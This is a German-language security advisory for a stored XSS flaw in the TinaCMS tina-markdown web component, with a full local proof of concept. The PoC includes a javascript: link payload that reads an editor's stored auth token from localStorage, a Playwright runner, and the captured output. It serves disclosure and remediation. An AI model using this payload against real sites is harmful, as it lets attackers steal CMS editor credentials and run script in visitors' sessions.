@tinacms/web-components: `tina-markdown` schreibt Rich-Text-Link-URLs ohne Schema-Validierung nach `href`, was Stored XSS ermöglicht
Zusammenfassung
<tina-markdown> rendert einen Rich-Text-AST in das DOM und weist für a-Knoten die URL des Knotens direkt dem href des Anchor-Elements ohne Schema-Überprüfung zu. Ein im CMS als javascript:… erstellter Link wird als aktives javascript:-Anchor-Element gerendert. Klickt ein Besucher darauf, wird vom Angreifer bereitgestelltes Skript im Origin der Website ausgeführt. Andere Renderer im Repository bereinigen diese URLs bereits; dieser tut dies nicht.
Details
Die nicht validierte Senke:
packages/@tinacms/web-components/src/tina-markdown.js:67-69
if (node.type === 'html' || node.type === 'html_inline') {
return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
}
packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url;
node.url stammt aus dem content-Attribut, das die Website über die TinaCMS-Content-API (:169-176) befüllt, d. h. aus den Eingaben eines Autors in einem Rich-Text-Feld. Der Aufruf von DOMPurify bei :68 verarbeitet ausschließlich Raw-HTML-Knotenwerte und kehrt vor dem Anchor-Zweig zurück, sodass node.url nie geprüft wird. Zeile 75 ist eine direkte Eigenschaftszuweisung – ohne HTML-Parser und ohne Sanitizer. Das mode: 'open'-Shadow-Root (:164-167) bietet keine Skript-Isolation.
Die Absicherung in anderen Renderern:
packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../>
tina-markdown.js:75 ist die einzige Rich-Text-Link-Senke im Repository, die dies auslässt – sechs von sieben bereinigen die Eingaben.
Dass es sich hierbei um ein Versehen handelt, zeigt der Changelog-Eintrag zu 0.2.0: Dort wird das Ziel genannt, "matching the components prop on the React and Astro renderers", während DOMPurify für html-Knoten hinzugefügt wurde. Zudem prüft packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 lediglich, dass ein https://example.com-Link gerendert wird – Fälle bezüglich des URL-Schemas werden nicht abgedeckt.
Standardmäßig aktiviert: customElements.define('tina-markdown', TinaMarkdown) wird im Modul-Scope ausgeführt (:179); das Importieren des veröffentlichten Einstiegspunkts reicht aus, ohne Optionsobjekt oder Sanitizer-Einstellung.
Vorgeschlagener Fix – Wiederverwendung des bestehenden abhängigkeitsfreien Subpath-Exports:
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
Variante mit derselben Ursache: :76 (img.src). Eine javascript:-URL wird von img.src nicht ausgeführt und wird hier daher nicht gesondert bewertet, die Zeile weist jedoch ebenfalls keine Validierung auf – weshalb @tinacms/astro ein separates sanitizeImageSrc enthält.
PoC
Sicher, lokal und zerstörungsfrei. Ein Loopback-Server simuliert eine Website, die CMS-Rich-Text rendert. Die Seite lädt tina-markdown.js Byte für Byte aus dem Checkout (gebündelt mit der deklarierten Abhängigkeit dompurify) und stellt zudem das repo-eigene sanitizeUrl bereit, um dieselbe Eingabe als Kontrolle gegen die kanonische Absicherung zu testen. Es wird kein Datenverkehr nach außen gesendet; die Payload schreibt lediglich eine seitenlokale Variable.
Verwendete Umgebung: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome), gesteuert über playwright@1.49.0.
Setup
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts
entry.js:
import './tina-markdown.js'; // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;
site/index.html – der AST entspricht der Rückgabe von @tinacms/graphql für die Markdown-Quelle [click me](javascript:…):
<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
const ast = {
type: 'root',
children: [
{ type: 'p', children: [
{ type: 'a',
url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
children: [{ type: 'text', text: 'click me' }] }
]}
]
};
// Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
// value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
const el = document.createElement('tina-markdown');
el.setAttribute('content', JSON.stringify(ast));
document.getElementById('host').appendChild(el);
window.__ready = true;
</script>
</body></html>
run.cjs:
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
const page=await browser.newPage();
await page.goto(`http://127.0.0.1:${PORT}/`);
await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
return {hrefAttr:a&&a.getAttribute('href')};});
await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
await page.waitForTimeout(500);
const pwned=await page.evaluate(()=>window.__pwned||null);
const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
await browser.close(); srv.close();})();
Ausführung
cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs
Beobachtete Ausgabe (wörtlich erfasst)
{
"renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
"scriptExecutedOnClick": true,
"capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
"control_sanitizeUrl_output": ""
}
Erwartete verwundbare Ausgabe – renderedAnchorHref ist die unveränderte, vom Angreifer stammende Zeichenkette javascript: (keine Schema-Validierung an der Senke), scriptExecutedOnClick ist true, und capturedByPayload enthält die Domain der Seite sowie den aus localStorage['tinacms-auth'] gelesenen Wert (das Skript lief im Origin der Website mit vollem Lesezugriff auf dessen Speicher). All dies traf zu.
Kontrolle – control_sanitizeUrl_output ist "". Die repo-eigene Funktion sanitizeUrl, im selben Browserkontext auf derselben Eingabeklasse ausgeführt, weist das Schema ab. Genau das tun packages/tinacms/src/rich-text/index.tsx:335 und packages/@tinacms/astro/src/LinkNode.astro:19 für den identischen AST, was den Fehler auf den fehlenden Aufruf eingrenzt.
Zweite Kontrolle in derselben Datei: Ein html-Knoten mit <a href="javascript:alert(1)">x</a> wird durch den DOMPurify-Aufruf bei :68 entfernt, sodass dieselbe Payload als Raw-HTML blockiert wird, als Link-Knoten jedoch nicht.
Bereinigung
rm -rf /tmp/tina-tm
Der PoC wurde nach Verfassen dieses Berichts erneut ausgeführt; das obige JSON stammt aus diesem Lauf.
Auswirkungen
Stored Cross-Site Scripting (XSS) über ein nicht validiertes URL-Schema in einem Link-Attribut. Ein Benutzer mit reinen Inhaltsbearbeitungsrechten erlangt Skriptausführung in der Browser-Sitzung jedes Besuchers innerhalb des Site-Origins. Da das dokumentierte Layout von TinaCMS den Admin-Bereich unter demselben Origin bereitstellt (public/admin/) und das Editor-Token in localStorage unter tinacms-auth speichert (packages/tinacms/src/auth/authenticate.ts:5, geschrieben bei packages/tinacms/src/internalClient/authProvider.ts:117), legt ein klickender Besucher, der selbst Redakteur oder Administrator ist, diese Zugangsdaten offen – der PoC liest sie aus.
Betroffen: Jede Website, die TinaCMS-Rich-Text über <tina-markdown> rendert. Diese Komponente existiert gezielt für Websites ohne React, die den bereinigten React-Renderer von tinacms nicht nutzen.
Danksagung
- Thai Son Dinh von VinSOC Labs (R&D)
Was zu tun ist
Aktualisieren Sie das Paket @tinacms/web-components auf Version 0.2.1 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @tinacms/web-components | < 0.2.1 | 0.2.1 |
Verweise
- https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg
- https://github.com/tinacms/tinacms/pull/7523
- https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b
- https://github.com/tinacms/tinacms
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N- Schwäche (CWE)
CWE-79, CWE-83- Plattform
- npm
- Paket
@tinacms/web-components- Veröffentlicht
- 09.10.2026
- Aktualisiert
- 11.10.2026 10:30
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-c42q-qvc3-j6vg - CC BY 4.0
Schwachstellenhistorie: @tinacms/web-components
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
Dies ist die einzige bekannte Schwachstelle dieses Pakets.
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.